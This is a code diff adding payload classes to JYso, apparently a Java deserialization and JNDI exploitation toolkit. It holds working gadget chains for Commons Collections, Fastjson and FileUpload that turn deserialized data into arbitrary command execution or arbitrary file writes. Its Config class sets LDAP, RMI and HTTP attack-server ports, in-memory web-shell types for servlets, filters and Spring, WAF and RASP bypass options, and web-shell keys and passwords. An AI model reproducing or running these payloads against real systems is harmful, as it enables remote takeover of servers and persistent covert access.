public TreeBag getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
TransformingComparator comp = new TransformingComparator((Transformer) transformer);
TreeBag tree = new TreeBag((Comparator) comp);
tree.add(templates);
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
return tree;
}
}
@@ -0,0 +1,35 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;
import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:3.2.1"})
@Authors({"梅子酒"})
public class CommonsCollections9 implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(String command) throws Exception {
String[] execArgs = {command};
Class c = (execArgs.length > 1) ? String[].class : String.class;
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{(Transformer) new ConstantTransformer(Integer.valueOf(1))});
Transformer[] transformers = TransformerUtil.makeTransformer(command);
Map<Object, Object> innerMap = new HashMap<Object, Object>();
Map defaultedmap = DefaultedMap.decorate(innerMap, (Transformer) chainedTransformer);
TiedMapEntry entry = new TiedMapEntry(defaultedmap, "QI4L");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Reflections.setFieldValue(val, "val", entry);
Reflections.setFieldValue(chainedTransformer, "iTransformers", transformers);
return val;
}
}
@@ -0,0 +1,43 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
/**
* Gadget chain:
* HashMap
* TiedMapEntry.hashCode
* TiedMapEntry.getValue
* LazyMap.decorate
* InvokerTransformer
* templates...
*/
@Dependencies({"commons-collections:commons-collections:3.1"})
public class CommonsCollectionsK1 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
HashMap<String, String> innerMap = new HashMap<String, String>();
Map m = LazyMap.decorate(innerMap, transformer);
Map outerMap = new HashMap();
TiedMapEntry tied = new TiedMapEntry(m, templates);
outerMap.put(tied, "t");
// clear the inner map data, this is important
innerMap.clear();
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
return outerMap;
}
}
@@ -0,0 +1,37 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:4.0"})
public class CommonsCollectionsK2 implements ReleaseableObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
HashMap<String, String> innerMap = new HashMap<String, String>();
Map m = LazyMap.lazyMap(innerMap, transformer);
Map outerMap = new HashMap();
TiedMapEntry tied = new TiedMapEntry(m, templates);
outerMap.put(tied, "t");
// clear the inner map data, this is important
innerMap.clear();
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
return outerMap;
}
@Override
public void release(Object obj) throws Exception {
}
}
@@ -0,0 +1,34 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.MATTHIASKAISER})
public class CommonsCollectionsK3 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = TransformerUtil.makeTransformer(command);
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L");
Map expMap = new HashMap();
expMap.put(tme, "QI5L");
outerMap.remove("QI4L");
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return expMap;
}
}
@@ -0,0 +1,34 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:4.0"})
@Authors({Authors.MATTHIASKAISER})
public class CommonsCollectionsK4 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
final Transformer[] transformers = (Transformer[]) TransformerUtil.makeTransformer(command);
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L");
Map expMap = new HashMap();
expMap.put(tme, "QI4L");
outerMap.remove("QI4L");
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return expMap;
}
}
@@ -0,0 +1,45 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.map.LazyMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:4.0"})
@Authors({Authors.QI4L})
public class CommonsCollectionsK5 implements ObjectPayload<Hashtable> {
public Hashtable getObject(String command) throws Exception {
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = (Transformer[]) TransformerUtil.makeTransformer(command);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.lazyMap(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.lazyMap(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
return hashtable;
}
}
@@ -0,0 +1,37 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:4.0"})
@Authors({Authors.QI4L})
public class CommonsCollectionsK6 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.lazyMap(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "QI4L");
lazyMap.remove(templates);
Reflections.setFieldValue(lazyMap, "factory", invokerTransformer);
return expMap;
}
}
@@ -0,0 +1,253 @@
package com.qi4l.JYso.gadgets.Config;
import com.beust.jcommander.JCommander;
import com.beust.jcommander.Parameter;
import com.beust.jcommander.UnixStyleUsageFormatter;
import com.qi4l.JYso.Starter;
import com.qi4l.JYso.gadgets.ObjectPayload;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.StringUtil;
import javassist.ClassPool;
import org.fusesource.jansi.Ansi;
import java.util.*;
public class Config {
public static String codeBase;
@Parameter(names = {"-i", " --ip"}, description = "Local ip address ", order = 1)
public static String ip = "0.0.0.0";
@Parameter(names = {"-lP", "--ldapPort"}, description = "Ldap bind port", order = 2)
public static int ldapPort = 1389;
@Parameter(names = {"-lPs", "--ldapsPort"}, description = "Ldaps bind port", order = 2)
public static int ldapsPort = 1669;
@Parameter(names = {"-rP", "--rmiPort"}, description = "rmi bind port", order = 2)
public static int rmiPort = 1099;
@Parameter(names = {"-hP", "--httpPort"}, description = "Http bind port", order = 3)
public static int httpPort = 3456;
@Parameter(names = {"-c", " --command"}, help = true, description = "RMI this command")
public static String command = "whoami";
@Parameter(names = {"-v", " --version"}, help = true, description = "Show version", order = 5)
public static boolean showVersion;
@Parameter(names = {"-ga", " --gadgets"}, help = true, description = "Show gadgets", order = 5)
public static boolean showGadgets;
@Parameter(names = {"-ak", " --AESkey"}, description = "AES+BAse64 decryption of routes", order = 5)
public static String AESkey = "123";
@Parameter(names = {"-u", " --user"}, help = true, description = "ldap bound account", order = 5)
public static String USER = "";
@Parameter(names = {"-tP", " --TLSProxy"}, help = true, description = "TLS port forwarding", order = 5)
public static boolean TLSProxy = false;
@Parameter(names = {"-p", " --PASSWD"}, help = true, description = "ldap binding password", order = 5)
public static String PASSWD = "";
@Parameter(names = {"-kF", " --keyFile"}, help = true, description = "Path to the TLS private key file", order = 5)
public static String keyFile = "";
@Parameter(names = {"-cF", " --certFile"}, help = true, description = "Path to the TLS certificate file", order = 5)
public static String certFile = "";
@Parameter(names = {"-j", "--jndi"}, help = true, description = "starter", order = 5)
public static boolean jndi = false;
public static String rhost;
public static String rport;
// 从HTTP外部获取路由值
public static String ROUTE = "";
// 从HTTP外部获取参数值
public static String BCEL1 = "";
// 恶意类是否继承 AbstractTranslet
public static Boolean IS_INHERIT_ABSTRACT_TRANSLET = false;
//是否使用反射绕过RASP
public static Boolean IS_OBSCURE = false;
// 各种方式的内存马映射的路径
public static String URL_PATTERN = "/qi4l";
// 是否使用落地文件的方式隐藏内存马
public static Boolean HIDE_MEMORY_SHELL = false;
// 是否生成内存马文件
public static Boolean GEN_MEM_SHELL = false;
// 内存马文件名
public static String GEN_MEM_SHELL_FILENAME = "";
// 落地文件姿势,1 charsets.jar 2 classes
public static int HIDE_MEMORY_SHELL_TYPE = 0;
// 内存马的密码MD5
public static String PASSWORD = "0f359740bd1cda99";
// Referer 校验
public static String HEADER_KEY = "Referer";
// 用于额外校验的 Http Header 值,默认值 https://QI4L.cn/
public static String HEADER_VALUE = "https://QI4L.cn/";
// 哥斯拉的 key,默认是 key
public static String GODZILLA_KEY = "3c6e0b8a9c15224a";
// 密码原文
public static String PASSWORD_ORI = "p@ssw0rd";
// 命令执行回显时,传递执行命令的 Header 头
public static String CMD_HEADER_STRING = "X-Token-Data";
//内存马的类型
public static String Shell_Type = "bx";
//是否使用windows下Agent写入
public static Boolean winAgent = false;
//是否使用Linux下Agent写入
public static Boolean linAgent = false;
// 是否在序列化数据流中的 TC_RESET 中填充脏数据
public static Boolean IS_DIRTY_IN_TC_RESET = false;
public static Boolean IS_UTF_Bypass = false;
public static Boolean IS_Hessian1 = false;
public static Boolean IS_Hessian2 = false;
public static Boolean IS_Xstream = false;
public static Boolean IS_Kryo = false;
public static Boolean IS_JYAML = false;
public static Boolean IS_JsonIO = false;
public static Boolean IS_YamlBeans = false;
public static Boolean IS_Castor = false;
public static Boolean IS_Jackson = false;
// 填充的脏数据长度
public static int DIRTY_LENGTH_IN_TC_RESET = 0;
// 是否使用UTF-8 Overlong Encoding Bypass waf
// jboss
public static Boolean IS_JBOSS_OBJECT_INPUT_STREAM = false;
// DefineClassFromParameter 的路径
public static String PARAMETER = "dc";
// 将输入直接写在文件里
public static String FILE = "out.ser";
public static Boolean WRITE_FILE = false;
public static Boolean BASE64 = false;
// 是否强制使用 org.apache.XXX.TemplatesImpl
public static Boolean FORCE_USING_ORG_APACHE_TEMPLATESIMPL = false;
// 在 Transformer[] 中使用 org.mozilla.javascript.DefiningClassLoader
public static Boolean USING_MOZILLA_DEFININGCLASSLOADER = false;
// ScriptEngineManager 是否为 RHINO 引擎
public static boolean USING_RHINO = false;
public static ClassPool POOL = ClassPool.getDefault();
// 不同类型内存马的父类/接口与其关键参数的映射
public static HashMap<String, String> KEY_METHOD_MAP = new HashMap<>();
@Parameter(names = {"-h", " --help"}, help = true, description = "Show this help")
private static boolean help = false;
static {
// Servlet 型内存马,关键方法 service
KEY_METHOD_MAP.put("javax.servlet.Servlet", "service");
// Filter 型内存马,关键方法 doFilter
KEY_METHOD_MAP.put("javax.servlet.Filter", "doFilter");
// Listener 型内存马,通常使用 ServletRequestListener 关键方法 requestInitializedHandle
KEY_METHOD_MAP.put("javax.servlet.ServletRequestListener", "requestInitializedHandle");
// Websocket 型内存马,关键方法 onMessage
KEY_METHOD_MAP.put("javax.websocket.MessageHandler$Whole", "onMessage");
// Tomcat Upgrade 型内存马,关键方法 accept
KEY_METHOD_MAP.put("org.apache.coyote.UpgradeProtocol", "accept");
// Tomcat Executor 型内存马,关键方法 execute
KEY_METHOD_MAP.put("org.apache.tomcat.util.threads.ThreadPoolExecutor", "execute");
// Spring Interceptor 型内存马,关键方法 preHandle
KEY_METHOD_MAP.put("org.springframework.web.servlet.handler.HandlerInterceptorAdapter", "preHandle");
// Webflux 内存马
KEY_METHOD_MAP.put("org.springframework.web.server.WebFilter", "executePayload");
}
public static void applyCmdArgs(String[] args) {
//process cmd args
JCommander jc = JCommander.newBuilder()
.addObject(new Config())
.build();
try {
jc.parse(args);
} catch (Exception e) {
System.out.println("Error: " + e.getMessage() + "\n");
help = true;
}
if (showGadgets) {
final List<Class<? extends ObjectPayload>> payloadClasses =
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
Collections.sort(payloadClasses, new StringUtil.ToStringComparator()); // alphabetize
final List<String[]> rows = new LinkedList<String[]>();
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
rows.add(new String[]{"-------", "-------", "------------"});
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
rows.add(new String[]{
payloadClass.getSimpleName(),
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
});
}
final List<String> lines = StringUtil.formatTable(rows);
for (String line : lines) {
System.out.println(" " + line);
}
System.exit(0);
}
if (showVersion) {
System.exit(0);
}
//获取当前 Jar 的名称
String jarPath = Starter.class.getProtectionDomain().getCodeSource().getLocation().getPath();
jc.setProgramName("java -jar JYso.jar");
jc.setUsageFormatter(new UnixStyleUsageFormatter(jc));
if (help) {
jc.usage(); //if -h specified, show help and exit
System.exit(0);
}
// 特别注意:最后一个反斜杠不能少啊
Config.codeBase = "http://" + Config.ip + ":" + Config.httpPort + "/";
}
public static void init() {
// Servlet 型内存马,关键方法 service
KEY_METHOD_MAP.put("javax.servlet.Servlet", "service");
// Filter 型内存马,关键方法 doFilter
KEY_METHOD_MAP.put("javax.servlet.Filter", "doFilter");
// Listener 型内存马,通常使用 ServletRequestListener 关键方法 requestInitializedHandle
KEY_METHOD_MAP.put("javax.servlet.ServletRequestListener", "requestInitializedHandle");
// Websocket 型内存马,关键方法 onMessage
KEY_METHOD_MAP.put("javax.websocket.MessageHandler█Whole", "onMessage");
// Tomcat Upgrade 型内存马,关键方法 accept
KEY_METHOD_MAP.put("org.apache.coyote.UpgradeProtocol", "accept");
// Tomcat Executor 型内存马,关键方法 execute
KEY_METHOD_MAP.put("org.apache.tomcat.util.threads.ThreadPoolExecutor", "execute");
// Spring Interceptor 型内存马,关键方法 preHandle
KEY_METHOD_MAP.put("org.springframework.web.servlet.handler.HandlerInterceptorAdapter", "preHandle");
}
public static void logo() {
String logo = "" +
" ┏┳┓┏ \n" +
" ┃┗┫┏┏┓ \n" +
" ┗┛┗┛┛┗┛ ";
// 高亮颜色代码(不包括黑色)
Ansi.Color[] colors = {
Ansi.Color.RED,
Ansi.Color.GREEN,
Ansi.Color.YELLOW,
Ansi.Color.BLUE,
Ansi.Color.MAGENTA,
Ansi.Color.CYAN,
Ansi.Color.WHITE
};
Random random = new Random();
StringBuilder coloredLogo = new StringBuilder();
for (char c : logo.toCharArray()) {
if (c != ' ' && c != '\n') {
// 选择一个随机的高亮颜色
Ansi.Color color = colors[random.nextInt(colors.length)];
coloredLogo.append(Ansi.ansi().fgBright(color).a(c).reset());
} else {
// 保持空格和换行符
coloredLogo.append(c);
}
}
System.out.println(coloredLogo);
}
}
@@ -0,0 +1,22 @@
package com.qi4l.JYso.gadgets.Config;
import java.util.ArrayList;
public class HookPointConfig {
public static ArrayList<String> BasicServletHook = new ArrayList<String>();
public static ArrayList<String> TomcatFilterChainHook = new ArrayList<String>();
static {
BasicServletHook.add("javax.servlet.http.HttpServlet");
BasicServletHook.add("service");
BasicServletHook.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse");
TomcatFilterChainHook.add("org.apache.catalina.core.ApplicationFilterChain");
TomcatFilterChainHook.add("doFilter");
TomcatFilterChainHook.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse");
}
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,4 @@
package com.qi4l.JYso.gadgets;
public interface DynamicDependencies {
}
@@ -0,0 +1,41 @@
package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson.JSONArray;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
public class Fastjson1 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
clazz.addConstructor(constructor);
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(templates, val);
return hashMap;
}
}
@@ -0,0 +1,41 @@
package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson2.JSONArray;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
public class Fastjson2 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
clazz.addConstructor(constructor);
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(templates, val);
return hashMap;
}
}
@@ -0,0 +1,72 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;
import org.apache.commons.io.output.ThresholdingOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.OutputStream;
import java.util.Arrays;
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem>{
@Override
public DiskFileItem getObject(String command) throws Exception {
String[] parts = command.split(";");
if (parts.length == 3 && "copyAndDelete".equals(parts[0])) {
return copyAndDelete(parts[1], parts[2]);
} else if (parts.length == 3 && "write".equals(parts[0])) {
return write(parts[1], parts[2].getBytes("US-ASCII"));
} else if (parts.length == 3 && "writeB64".equals(parts[0])) {
return write(parts[1], Base64.decodeBase64(parts[2]));
} else if (parts.length == 3 && "writeOld".equals(parts[0])) {
return writePre131(parts[1], parts[2].getBytes("US-ASCII"));
} else if (parts.length == 3 && "writeOldB64".equals(parts[0])) {
return writePre131(parts[1], Base64.decodeBase64(parts[2]));
} else {
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
}
}
public void release(DiskFileItem obj) throws Exception {
// otherwise the finalizer deletes the file
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
Reflections.setFieldValue(obj, "dfos", dfos);
}
private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws IOException, Exception {
return makePayload(0, copyTo, copyAndDelete, new byte[1]);
}
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
private static DiskFileItem write(String dir, byte[] data) throws IOException, Exception {
return makePayload(data.length + 1, dir, dir + "/whatever", data);
}
// writes data to an arbitrary file
private static DiskFileItem writePre131(String file, byte[] data) throws IOException, Exception {
return makePayload(data.length + 1, file + "\0", file, data);
}
private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception {
// if thresh < written length, delete outputFile after copying to repository temp file
// otherwise write the contents to repository temp file
File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
os.write(data);
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
return diskFileItem;
}
}

Some files were not shown because too many files have changed in this diff Show More